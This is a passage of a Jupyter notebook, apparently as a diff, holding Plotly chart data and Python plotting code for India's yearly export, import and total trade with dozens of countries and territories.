"2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.97, - 9.43, - 9.17, - 6.99, - 111.74, - 23.33, - 29.5, - 25.25, - 35.14, - 29.89, - 21.3, - 244.73, - 173.9, - 39.63, - 9.39, - 9.03, - 0, - 9.46, - 7.21 - ] - }, - { - "mode": "lines", - "name": "NIUE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2015", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.4, - 0.05, - 0, - 0.07, - 0.01, - 0.01, - 0.05, - 0.03, - 0.04, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PALAU", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.18, - 0.24, - 0.03, - 0.05, - 0.23, - 0, - 0.03, - 0.08, - 3.71, - 0.04, - 0.85, - 3.3, - 0.06, - 0.21, - 0 - ] - }, - { - "mode": "lines", - "name": "COCOS IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2016", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.25, - 0, - 0, - 0, - 0, - 0.1, - 0.05, - 0.03, - 49.8, - 0.77, - 0, - 0.01, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MONACO", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.35, - 1.68, - 0.47, - 1.01, - 1.45, - 0.68, - 1.4, - 2.45, - 3.27, - 3.98, - 2.48, - 2.58, - 2.58, - 2.65, - 3.01, - 2.82, - 63.47, - 1.93, - 2.96 - ] - }, - { - "mode": "lines", - "name": "CHRISTMAS IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2019" - ], - "y": [ - 1.13, - 1.48, - 0.37, - 0.22, - 0.06, - 0, - 0.43, - 0, - 0.15, - 15.78, - 3.07, - 0.81, - 8.1, - 1.23, - 0.02, - 0.11, - 0.07, - 0.09, - 0.02 - ] - }, - { - "mode": "lines", - "name": "MICRONESIA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.35, - 0, - 0.05, - 0.07, - 0.09, - 0, - 0, - 0, - 0.19, - 0.67, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "N. MARIANA IS.", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.46, - 0.5, - 0.63, - 0.2, - 0, - 0, - 0.22, - 0, - 0.78, - 0.04, - 0.21, - 0.29, - 0.15, - 0.58, - 0.37 - ] - }, - { - "mode": "lines", - "name": "ST PIERRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0.15, - 0.04, - 0.02, - 0, - 0, - 2.58, - 5.16, - 40.43, - 5.42, - 0.02, - 0, - 0.07, - 0, - 0.03, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CANARY IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 0, - 0, - 0, - 0, - 1.82, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CHANNEL IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 0, - 1.51, - 0.36, - 0.45, - 0.8, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "ANTARTICA", - "type": "scatter", - "x": [ - "2004", - "2005", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.44, - 0.17, - 0.25, - 0.51, - 0, - 0.47, - 4.84, - 1.11, - 0.15, - 0.04, - 0.1, - 1.72, - 0.55 - ] - }, - { - "mode": "lines", - "name": "FR S ANT TR", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015" - ], - "y": [ - 0.03, - 0, - 0, - 0, - 0, - 0.22, - 12.88, - 0.08, - 0, - 0.01, - 0, - 0.01, - 0, - 0.03, - 0.09 - ] - }, - { - "mode": "lines", - "name": "HEARD MACDONALD", - "type": "scatter", - "x": [ - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0, - 0, - 0.12, - 0, - 0.03, - 0, - 0, - 0.16, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PACIFIC IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2003", - "2004", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 35.04, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MONTENEGRO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 30.58, - 43.47, - 26.24, - 36.42, - 51.62, - 39.06, - 20.12, - 20.37, - 15.82 - ] - }, - { - "mode": "lines", - "name": "SAN MARINO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.64, - 0.37, - 0.78, - 0.61, - 0.78, - 0.36, - 0.4, - 0.34, - 0.2 - ] - }, - { - "mode": "lines", - "name": "SERBIA", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34.78, - 66.09, - 65.68, - 77.3, - 83.14, - 93.78, - 95.18, - 98.08, - 73.77 - ] - }, - { - "mode": "lines", - "name": "US MINOR OUTLYING ISLANDS", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.53, - 0.53, - 1.64, - 1.27, - 0.77, - 0.8, - 1.26, - 0.36 - ] - }, - { - "mode": "lines", - "name": "VATICAN CITY", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.29, - 0.06, - 0.06, - 0, - 0.12, - 0.21, - 0.09, - 0 - ] - }, - { - "mode": "lines", - "name": "NEUTRAL ZONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2005", - "2007", - "2008", - "2011" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "SOUTH SUDAN", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.42, - 74.1, - 100.5, - 27.37, - 24.49, - 20.85 - ] - }, - { - "mode": "lines", - "name": "MAYOTTE", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 2.98, - 3.49, - 5.97, - 3.2 - ] - }, - { - "mode": "lines", - "name": "STATE OF PALEST", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.68, - 1.83, - 2.15, - 1.96 - ] - }, - { - "mode": "lines", - "name": "SINT MAARTEN (DUTCH PART)", - "type": "scatter", - "x": [ - "2016", - "2017", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "Petroleum Products", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000" - ], - "y": [ - 3697.83, - 0, - 2595.94, - 2712.11 - ] - }, - { - "mode": "lines", - "name": "GUERNSEY", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.27, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "INSTALLATIONS IN INTERNATIONAL WATERS", - "type": "scatter", - "x": [ - "2015", - "2016", - "2017" - ], - "y": [ - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CURACAO", - "type": "scatter", - "x": [ - "2015", - "2017" - ], - "y": [ - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "JERSEY", - "type": "scatter", - "x": [ - "2017", - "2019" - ], - "y": [ - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "SVALLBARD AND J", - "type": "scatter", - "x": [ - "2019" - ], - "y": [ - 0 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[200]]['Year(start)'], y=df[df['Country']==country.index[200]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(200,250):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[200]]['Year(start)'], y=df[df['Country']==country.index[200]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(200,250):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[200]]['Year(start)'], y=df[df['Country']==country.index[200]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(200,250):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 30, - "id": "33a5bf3b-f42c-4c51-9f8a-1f7d772aa21d", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 21.25, - 12.81, - 33.2, - 25.86, - 24.37, - 60.77, - 145.47, - 165.44, - 142.67, - 182.11, - 249.21, - 394.23, - 463.55, - 422.41, - 510.9, - 472.63, - 474.34, - 422.56, - 526.6, - 506.34, - 709.75, - 715.44, - 997.58, - 825.78, - 401.72 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AFGHANISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 21.25, - 12.81, - 33.2, - 25.86, - 24.37, - 60.77, - 145.47, - 165.44, - 142.67, - 182.11, - 249.21, - 394.23, - 463.55, - 422.41, - 510.9, - 472.63, - 474.34, - 422.56, - 526.6, - 506.34, - 709.75, - 715.44, - 997.58, - 825.78, - 401.72 - ] - }, - { - "mode": "lines", - "name": "NICARAGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.57, - 1.11, - 2.52, - 4.06, - 5.75, - 5.23, - 5.96, - 11.38, - 10.63, - 14.89, - 54.16, - 20.7, - 23.2, - 30.01, - 45.7, - 59.26, - 59.23, - 65.51, - 82.54, - 86.33, - 87.31, - 53.87, - 65.52, - 89.67, - 81.48 - ] - }, - { - "mode": "lines", - "name": "MONTSERRAT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.1, - 0.15, - 0.06, - 0.02, - 0.39, - 0.35, - 0.4, - 0.25, - 0.16, - 0.07, - 0.2, - 0.13, - 0.53, - 0.28, - 0.04, - 0.07, - 0.33, - 0.96, - 0.62, - 0.02, - 0.06, - 0.06, - 0.07, - 0.08 - ] - }, - { - "mode": "lines", - "name": "MOROCCO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 28.26, - 28.45, - 26.16, - 40.08, - 55.55, - 127.11, - 87.72, - 112.48, - 127.51, - 164.45, - 208.43, - 242.85, - 250.47, - 318.57, - 372.1, - 426.56, - 385.61, - 326.31, - 342.19, - 373.91, - 432.32, - 680.06, - 799.45, - 507.62, - 606.57 - ] - }, - { - "mode": "lines", - "name": "MOZAMBIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 29.94, - 22.79, - 31.89, - 32.04, - 30.87, - 46.68, - 69.14, - 81.3, - 127.54, - 192.25, - 442.53, - 427.44, - 358.38, - 605.17, - 533.36, - 1001.18, - 1257.26, - 2070.84, - 1241.94, - 1009.97, - 900.58, - 1073.31, - 2174.31, - 1231.34, - 1499.04 - ] - }, - { - "mode": "lines", - "name": "MYANMAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 49.31, - 30.12, - 34.1, - 52.71, - 60.89, - 75.07, - 89.64, - 113.19, - 110.7, - 140.44, - 185.82, - 221.64, - 207.97, - 320.62, - 545.38, - 544.66, - 787.01, - 773.24, - 1070.65, - 1107.89, - 966.19, - 1205.6, - 973.89, - 772.56, - 671.22 - ] - }, - { - "mode": "lines", - "name": "NAMIBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.72, - 13.72, - 3.11, - 3.32, - 9.88, - 4.97, - 7.69, - 7.22, - 14.65, - 18.39, - 41.28, - 92.78, - 63.07, - 55.41, - 64.33, - 56.82, - 212.39, - 107.82, - 73.62, - 89.88, - 43.87, - 82.37, - 66.18, - 51.01, - 98.27 - ] - }, - { - "mode": "lines", - "name": "NAURU RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.32, - 0.62, - 0.22, - 0.02, - 0.18, - 0.05, - 0.11, - 0.01, - 0.01, - 0.02, - 0.07, - 0.12, - 0.08, - 0.11, - 0.21, - 0, - 0.17, - 0.02, - 0.01, - 2.53, - 1.36, - 0.53, - 0.14, - 0.1, - 0.16 - ] - }, - { - "mode": "lines", - "name": "NEPAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 170.05, - 122.41, - 151.23, - 140.84, - 214.46, - 350.36, - 669.35, - 743.14, - 859.97, - 927.4, - 1507.42, - 1570.15, - 1533.31, - 2168.06, - 2721.57, - 3088.84, - 3592.3, - 4558.77, - 3902.7, - 5453.59, - 6612.96, - 7766.2, - 7160.35, - 6838.46, - 7073 - ] - }, - { - "mode": "lines", - "name": "NETHERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 802.39, - 763.53, - 885.76, - 880.09, - 863.88, - 1047.91, - 1289.11, - 1604.86, - 2474.78, - 2674.55, - 5249.08, - 6348.69, - 